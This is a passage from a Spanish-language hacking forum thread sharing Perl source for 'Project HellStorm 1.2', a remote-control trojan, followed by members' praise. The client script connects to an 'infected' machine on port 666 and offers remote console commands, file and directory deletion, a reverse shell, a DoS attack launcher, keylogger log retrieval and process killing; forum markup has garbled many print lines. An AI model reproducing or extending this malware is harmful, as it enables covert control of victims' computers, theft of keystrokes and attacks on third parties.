    855.     close FILE;
    856.     return @wor;
    857. }
    858.  
    859. sub encriptar {
    860.  
    861.     my ( $text, $op ) = @_;
    862.  
    863.     my @re;
    864.     my @va = split( "", $text );
    865.  
    866.     my %valor = (
    867.         "1" => "a",
    868.         "2" => "b",
    869.         "3" => "c",
    870.         "4" => "d",
    871.         "5" => "e",
    872.         "6" => "f",
    873.         "7" => "g",
    874.         "8" => "h",
    875.         "9" => "i",
    876.         "0" => "j",
    877.         "." => "k"
    878.     );
    879.  
    880.     if ( $op eq "encode" ) {
    881.         for my $letra (@va) {
    882.             for my $data ( keys %valor ) {
    883.                 if ( $data eq $letra ) {
    884.                     $letra =~ s/$data/$valor{$data}/g;
    885.                     push( @re, $letra );
    886.                 }
    887.             }
    888.         }
    889.     }
    890.     if ( $op eq "decode" ) {
    891.         for my $letra (@va) {
    892.             for my $data ( keys %valor ) {
    893.                 if ( $valor{$data} eq $letra ) {
    894.                     $letra =~ s/$valor{$data}/$data/g;
    895.                     push( @re, $letra );
    896.                 }
    897.             }
    898.         }
    899.     }
    900.     return @re;
    901. }
    902.  
    903. sub dameip {
    904.  
    905.     my @wor = encriptar( getmyip(), "encode" );
    906.  
    907.     for (@wor) {
    908.         $resultado .= $_;
    909.     }
    910.     return $resultado;
    911. }
    912.  
    913. # The End ?
    914.  

    client.pl

    Código: Perl
    1. #!usr/bin/perl
    2. #Project HellStorm 1.2
    3. #(C) Doddy Hackman 2015
    4.  
    5. use IO::Socket;
    6. use Cwd;
    7.  
    8. &menu;
    9.  
    10. # Functions
    11.  
    12. sub clean {
    13.     my $os = $^O;
    14.     if ( $os =~ /Win32/ig ) {
    15.         system("cls");
    16.     }
    17.     else {
    18.         system("clear");
    19.     }
    20. }
    21.  
    22. sub head {
    23.  
    24.     clean();
    25.  
    26.     print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";
    27.  
    28. }
    29.  
    30. sub menu {
    31.  
    32.     &head;
    33.  
    34.     print "</li><li type="square"> Target : ";[/li][/list]
    35.     chomp( my $ip = <STDIN> );
    36.  
    37.     my $socket = new IO::Socket::INET(
    38.         PeerAddr => $ip,
    39.         PeerPort => 666,
    40.         Proto    => 'tcp',
    41.         Timeout  => 5
    42.     );
    43.  
    44.     if ($socket) {
    45.         $socket->close;
    46.         &menuo($ip);
    47.     }
    48.     else {
    49.         print "\n\n[-] Server not infected\n";
    50.         <STDIN>;
    51.         &menu;
    52.     }
    53.  
    54. }
    55.  
    56. sub menuo {
    57.  
    58.     &head;
    59.  
    60.     print "[$_[0]] : Online\n\n";
    61.     print q(
    62. 1 : Information
    63. 2 : Files Manager
    64. 3 : Open CD
    65. 4 : Close CD
    66. 5 : Talk
    67. 6 : Message
    68. 7 : Console
    69. 8 : Hide taskbar
    70. 9 : Show taskbar
    71. 10 : Hide Icons
    72. 11 : Show Icons
    73. 12 : Process Manager
    74. 13 : Reverse Shell
    75. 14 : DOS Attack
    76. 15 : Change Wallpaper
    77. 16 : Word Writer
    78. 17 : Move Mouse
    79. 18 : See logs keylogger
    80. 19 : Change target
    81. 20 : Exit
    82.  
    83.  
    84. );
    85.     print "[Option] : ";
    86.     chomp( my $opcion = <STDIN> );
    87.  
    88.     if ( $opcion eq 1 ) {
    89.         print "\n\n</li><li type="square"> Information\n\n";[/li][/list]
    90.         $re = daryrecibir( $_[0], "infor" );
    91.         if ( $re =~ /:(.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ ) {
    92.             print "</li><li type="square"> Domain : $1\n";[/li][/list]
    93.             print "</li><li type="square"> Chip : $2\n";[/li][/list]
    94.             print "</li><li type="square"> Version : $3\n";[/li][/list]
    95.             print "</li><li type="square"> Username : $4\n";[/li][/list]
    96.             print "</li><li type="square"> OS : $5\n";[/li][/list]
    97.             print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    98.             <stdin>;
    99.         }
    100.         &menuo( $_[0] );
    101.     }
    102.     elsif ( $opcion eq 2 ) {
    103.  
    104.       menu1:
    105.         print "\n\n</li><li type="square"> Files Manager\n\n";[/li][/list]
    106.         $cwd = daryrecibir( $_[0], "getcwd" . "\r\n" );
    107.         show( $_[0], "/" );
    108.         &menu2;
    109.  
    110.         sub menu2 {
    111.             print "\n\n[Options]\n\n";
    112.             print "1 - Change directory\n";
    113.             print "2 - Rename\n";
    114.             print "3 - Delete File\n";
    115.             print "4 - Delete Directory\n";
    116.             print "5 - Return to menu\n\n";
    117.             print "[Opcion] : ";
    118.             chomp( my $op = <stdin> );
    119.  
    120.             if ( $op eq 1 ) {
    121.                 print "\n\n</li><li type="square"> Directory : ";[/li][/list]
    122.                 chomp( my $dir = <stdin> );
    123.                 $ver = daryrecibir( $_[0], "chdirnow K0BRA" . $dir . "K0BRA" );
    124.                 if ( $ver =~ /ok/ig ) {
    125.                     print "\n\n</li><li type="square"> Directory changed\n\n";[/li][/list]
    126.                 }
    127.                 else {
    128.                     print "\n\n[-] Error\n\n";
    129.                     <stdin>;
    130.                 }
    131.                 show( $_[0], $dir );
    132.                 &menu2;
    133.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    134.                 <stdin>;
    135.             }
    136.  
    137.             elsif ( $op eq 2 ) {
    138.                 print "\n\n</li><li type="square"> Name : ";[/li][/list]
    139.                 chomp( my $old = <stdin> );
    140.                 print "\n\n</li><li type="square"> New name : ";[/li][/list]
    141.                 chomp( my $new = <stdin> );
    142.                 $re = daryrecibir( $_[0], "rename :$old:$new:" );
    143.                 if ( $re =~ /ok/ ) {
    144.                     print "\n\n</li><li type="square"> File renamed\n\n";[/li][/list]
    145.                 }
    146.                 else {
    147.                     print "\n\n[-] Error\n\n";
    148.                 }
    149.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    150.                 <stdin>;
    151.             }
    152.  
    153.             elsif ( $op eq 3 ) {
    154.                 print "\n\n</li><li type="square"> File to delete : ";[/li][/list]
    155.                 chomp( my $file = <stdin> );
    156.                 $re =
    157.                   daryrecibir( $_[0], "borrarfile K0BRA" . $file . "K0BRA" );
    158.                 if ( $re =~ /ok/ ) {
    159.                     print "\n\n</li><li type="square"> File deleted\n\n";[/li][/list]
    160.                 }
    161.                 else {
    162.                     print "\n\n[-] Error\n\n";
    163.                 }
    164.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    165.                 <stdin>;
    166.             }
    167.  
    168.             elsif ( $op eq 4 ) {
    169.                 print "\n\n</li><li type="square"> Directory to delete : ";[/li][/list]
    170.                 chomp( my $file = <stdin> );
    171.                 $re = daryrecibir( $_[0], "borrardir K0BRA" . $file . "K0BRA" );
    172.                 if ( $re =~ /ok/ ) {
    173.                     print "\n\n</li><li type="square"> Directory deleted\n\n";[/li][/list]
    174.                 }
    175.                 else {
    176.                     print "\n\n[-] Error\n\n";
    177.                 }
    178.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    179.                 <stdin>;
    180.             }
    181.  
    182.             elsif ( $op eq 5 ) {
    183.                 &menuo( $_[0] );
    184.  
    185.             }
    186.             else {
    187.                 show( $_[0], "/" );
    188.             }
    189.             goto menu1;
    190.         }
    191.     }
    192.  
    193.     elsif ( $opcion eq 3 ) {
    194.         daryrecibir( $_[0], "opencd" );
    195.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    196.         <stdin>;
    197.         &menuo( $_[0] );
    198.     }
    199.  
    200.     elsif ( $opcion eq 4 ) {
    201.         daryrecibir( $_[0], "closedcd" );
    202.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    203.         <stdin>;
    204.         &menuo( $_[0] );
    205.     }
    206.  
    207.     elsif ( $opcion eq 5 ) {
    208.         print "\n\n</li><li type="square"> Talk : ";[/li][/list]
    209.         chomp( my $talk = <stdin> );
    210.         $re = daryrecibir( $_[0], "speak :$talk:" );
    211.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    212.         <stdin>;
    213.         &menuo( $_[0] );
    214.     }
    215.  
    216.     elsif ( $opcion eq 6 ) {
    217.         print "\n</li><li type="square"> Message : ";[/li][/list]
    218.         chomp( my $msg = <stdin> );
    219.         daryrecibir( $_[0], "msgbox $msg" );
    220.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    221.         <stdin>;
    222.         &menuo( $_[0] );
    223.     }
    224.     elsif ( $opcion eq 7 ) {
    225.  
    226.       menu:
    227.  
    228.         my $cmd, $re;
    229.  
    230.         print "\n\n>";
    231.  
    232.         chomp( my $cmd = <stdin> );
    233.  
    234.         if ( $cmd =~ /exit/ig ) {
    235.             print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    236.             <stdin>;
    237.             &menuo( $_[0] );
    238.         }
    239.  
    240.         $re = daryrecibir( $_[0], "comando :$cmd:" );
    241.         print "\n" . $re;
    242.         goto menu;
    243.         &menuo( $_[0] );
    244.     }
    245.     elsif ( $opcion eq 8 ) {
    246.         daryrecibir( $_[0], "iniciochau" );
    247.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    248.         <stdin>;
    249.         &menuo( $_[0] );
    250.     }
    251.     elsif ( $opcion eq 9 ) {
    252.         daryrecibir( $_[0], "iniciovuelve" );
    253.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    254.         <stdin>;
    255.         &menuo( $_[0] );
    256.     }
    257.     elsif ( $opcion eq 10 ) {
    258.         daryrecibir( $_[0], "iconochau" );
    259.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    260.         <stdin>;
    261.         &menuo( $_[0] );
    262.     }
    263.     elsif ( $opcion eq 11 ) {
    264.         daryrecibir( $_[0], "iconovuelve" );
    265.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    266.         <stdin>;
    267.         &menuo( $_[0] );
    268.     }
    269.  
    270.     elsif ( $opcion eq 12 ) {
    271.  
    272.         &reload( $_[0] );
    273.  
    274.         sub reload {
    275.  
    276.             my @pro;
    277.             my @pids;
    278.  
    279.             my $sockex = new IO::Socket::INET(
    280.                 PeerAddr => $_[0],
    281.                 PeerPort => 666,
    282.                 Proto    => 'tcp',
    283.                 Timeout  => 5
    284.             );
    285.  
    286.             print $sockex "mostrarpro" . "\r\n";
    287.             $sockex->read( $re, 5000 );
    288.             $sockex->close;
    289.  
    290.             chomp $re;
    291.  
    292.             print "\n\n</li><li type="square"> Process Found\n\n";[/li][/list]
    293.  
    294.             while ( $re =~ /PROXEC(.*?)PROXEC/ig ) {
    295.                 if ( $1 ne "" ) {
    296.                     push( @pro, $1 );
    297.                 }
    298.             }
    299.  
    300.             while ( $re =~ /PIDX(.*?)PIDX/ig ) {
    301.                 if ( $1 ne "" ) {
    302.                     push( @pids, $1 );
    303.                 }
    304.             }
    305.  
    306.             $cantidad = int(@pro);
    307.  
    308.             for my $num ( 1 .. $cantidad ) {
    309.                 if ( $pro[$num] ne "" ) {
    310.                     print "\n</li><li type="square"> Process : " . $pro[$num] . "\n";[/li][/list]
    311.                     print "</li><li type="square"> PID : " . $pids[$num] . "\n";[/li][/list]
    312.                 }
    313.             }
    314.  
    315.             print q(
    316.  
    317. [Options]
    318.  
    319.  
    320. 1 - Refresh list
    321. 2 - Close process
    322. 3 - Return to menu
    323.  
    324. );
    325.  
    326.             print "\n[Option] :  ";
    327.             chomp( my $opc = <stdin> );
    328.  
    329.             if ( $opc =~ /1/ig ) {
    330.                 &reload( $_[0] );
    331.             }
    332.             elsif ( $opc =~ /2/ig ) {
    333.                 print "\n</li><li type="square"> Write the name of the process : ";[/li][/list]
    334.                 chomp( my $numb = <stdin> );
    335.                 print "\n</li><li type="square"> Write the PID of the process : ";[/li][/list]
    336.                 chomp( my $pid = <stdin> );
    337.                 $re = daryrecibir( $_[0],
    338.                     "chauproce K0BRA" . $pid . "K0BRA" . $numb . "K0BRA" );
    339.                 if ( $re =~ /ok/ig ) {
    340.                     print "\n\n</li><li type="square"> Proceso killed\n\n";[/li][/list]
    341.                 }
    342.                 else {
    343.                     print "\n\n[-] Error\n\n";
    344.                 }
    345.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    346.                 <stdin>;
    347.                 &reload( $_[0] );
    348.             }
    349.             elsif ( $opc =~ /3/ig ) {
    350.                 print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    351.                 <stdin>;
    352.                 &menuo( $_[0] );
    353.             }
    354.             else {
    355.                 &reload;
    356.             }
    357.         }
    358.     }
    359.  
    360.     elsif ( $opcion eq 13 ) {
    361.         print "\n\n</li><li type="square"> IP : ";[/li][/list]
    362.         chomp( my $ip = <stdin> );
    363.         print "\n\n</li><li type="square"> Port : ";[/li][/list]
    364.         chomp( my $port = <stdin> );
    365.         print "\n\n</li><li type="square"> Connected !!!\n\n";[/li][/list]
    366.         $re = daryrecibir( $_[0], "backshell :$ip:$port:" );
    367.     }
    368.     elsif ( $opcion eq 14 ) {
    369.         print "\n\n</li><li type="square"> IP : ";[/li][/list]
    370.         chomp( my $ipx = <stdin> );
    371.         print "\n\n</li><li type="square"> Port : ";[/li][/list]
    372.         chomp( my $por = <stdin> );
    373.         print "\n\n</li><li type="square"> Count : ";[/li][/list]
    374.         chomp( my $count = <stdin> );
    375.         print "\n\n</li><li type="square"> Command Send !!!!\n\n";[/li][/list]
    376.         daryrecibir( $_[0], "dosattack :$ipx:$por:$count:" );
    377.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    378.         <stdin>;
    379.         &menuo( $_[0] );
    380.     }
    381.     elsif ( $opcion eq 15 ) {
    382.         print "\n\n</li><li type="square"> Image with format BMP : ";[/li][/list]
    383.         chomp( my $id = <stdin> );
    384.         daryrecibir( $_[0], "cambiarfondo $id" );
    385.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    386.         <stdin>;
    387.         &menuo( $_[0] );
    388.     }
    389.     elsif ( $opcion eq 16 ) {
    390.         print "\n\n</li><li type="square"> Text : ";[/li][/list]
    391.         chomp( my $tx = <stdin> );
    392.         daryrecibir( $_[0], "word :$tx:" );
    393.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    394.         <stdin>;
    395.         &menuo( $_[0] );
    396.     }
    397.     elsif ( $opcion eq 17 ) {
    398.         daryrecibir( $_[0], "crazymouse" );
    399.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    400.         <stdin>;
    401.         &menuo( $_[0] );
    402.     }
    403.     elsif ( $opcion eq 18 ) {
    404.         print "\n\n[Logs]\n\n";
    405.         $re = daryrecibir( $_[0], "verlogs" );
    406.         print $re. "\n\n";
    407.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    408.         <stdin>;
    409.         &menuo( $_[0] );
    410.     }
    411.     elsif ( $opcion eq 19 ) {
    412.         &menu;
    413.     }
    414.     elsif ( $opcion eq 20 ) {
    415.         print "\n</li><li type="square"> Press any key to continue\n";[/li][/list]
    416.         <stdin>;
    417.         exit 1;
    418.     }
    419.     else {
    420.         &menuo;
    421.     }
    422. }
    423.  
    424. sub daryrecibir {
    425.  
    426.     my $sockex = new IO::Socket::INET(
    427.         PeerAddr => $_[0],
    428.         PeerPort => 666,
    429.         Proto    => 'tcp',
    430.         Timeout  => 5
    431.     );
    432.  
    433.     print $sockex $_[1] . "\r\n";
    434.     $sockex->read( $re, 5000 );
    435.     $sockex->close;
    436.     return $re . "\r";
    437. }
    438.  
    439. sub show {
    440.  
    441.     my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
    442.     print "\n\n</li><li type="square"> Directory : $re\n\n";[/li][/list]
    443.     $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
    444.     print "\n\n[Directories found]\n\n";
    445.     while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
    446.         if ( $1 ne "" ) {
    447.             print "</li><li type="square"> $1\n";[/li][/list]
    448.         }
    449.     }
    450.  
    451.     print "\n\n[Files found]\n\n";
    452.  
    453.     while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
    454.         if ( $1 ne "" ) {
    455.             print "</li><li type="square"> $1\n";[/li][/list]
    456.         }
    457.     }
    458.  
    459. }
    460.  
    461. #The End ?
    462.  

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
« Última modificación: Octubre 23, 2015, 10:21:24 pm por Doddy »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5704
  • Actividad:
    36.67%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:[Perl] Project HellStorm 1.2

  • en: Octubre 23, 2015, 10:21:35 pm
Muy bueno @Doddy!!! Excelente proyecto!
Espero que siga creciendo! Tienes muchisimo potencial! Felicitaciones!!

Saludos!
ANTRAX


Desconectado francoichi

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • El sol no calienta por igual en todas las cabezas
  • Skype: norane98
    • Ver Perfil

Re:[Perl] Project HellStorm 1.2

  • en: Diciembre 29, 2015, 09:38:35 pm
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.
¿Sabes cuál es el problema? Imaginarte el logaritmo y no programarlo.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

Re:[Perl] Project HellStorm 1.2

  • en: Diciembre 29, 2015, 10:10:59 pm
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.

En realidad no me gustaria que editaras mi codigo para un "remake" , pero si , si va haber una nueva version.

Saludos.

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5331
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3474
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 2606
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 2598
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 4374
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora